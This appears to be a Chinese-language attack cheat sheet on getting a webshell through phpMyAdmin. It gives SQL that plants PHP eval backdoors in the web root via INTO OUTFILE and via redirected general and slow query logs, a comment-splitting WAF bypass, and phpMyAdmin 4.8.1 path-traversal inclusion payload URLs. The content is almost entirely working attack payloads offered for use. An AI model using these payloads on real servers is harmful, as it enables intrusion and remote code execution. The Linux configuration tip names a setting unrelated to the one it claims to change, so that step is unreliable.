phpmyadmin_getshell

方法一(应该不能用)

1
2
3
4
5
6
7
CREATE TABLE `test`.`xiaoma` (`xiaoma1` varchar(255) );
INSERT INTO `test`.`xiaoma` VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaoma1 FROM test.xiaoma INTO OUTFILE 'E:/wamp/www/7.php';

或者

SELECT "<?php @eval($_POST['hacksb']); ?>" INTO OUTFILE 'E:/phpstudy/PHPTutorial/WWW/7.php';
  • 失败提示#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
  • secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。我们现在设置为网站的根目录,再去尝试使用INTO OUTFILE getshell。
  • 但是在我们使用SQL修改的时候,发现这个值是只读的。
  • 只能够通过以下方式修改
    windows下:
    修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
    保存,重启mysql。
    Linux下:
    在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

方法二

  • general_log默认为关闭的,root权限开启后,general_log_file会保存所有的查询语句,可以开启general_log,然后设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell

  • 查看general log是否开启

    1
    show variables like 'general_log';
  • 开启general log

    1
    SET GLOBAL general_log = ON
  • 把general_log_file设置为shell的绝对路径

    1
    SET global general_log_file='D:/wamp/www/777.php';
  • 执行SQL查询语句,写个一句话进去。

    1
    SELECT '<?php @eval($_POST["aaa"]);?>';

绕过waf

1
2
3
4
5
6
select '<?php /*';
select '*/@eval/*';
select '*/(/*';
select '*/"\$data = $_REQUEST[data];"/*';
select '*/);/*';
select '*/?>';
  • 成功插入了一句话木马

方法三

  • 原理同上,只是用的慢查询日志

  • 设置slow_query_log=1.即启用慢查询日志(默认禁用)。

    1
    show variables like '%slow_query_log%';
  • 伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名(没有会自动创建)

    1
    set global slow_query_log_file='dir\filename'
  • 向日志文件写入shell

    1
    select "<?php @eval($_POST['aaa']); ?>" or sleep(11);
  • 因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。

phpmyadmin4.8.1后台getshell

任意文件包含

  • payload

    1
    http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini
  • 把WebShell写入到数据库中然后包含数据库文件

    1
    http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm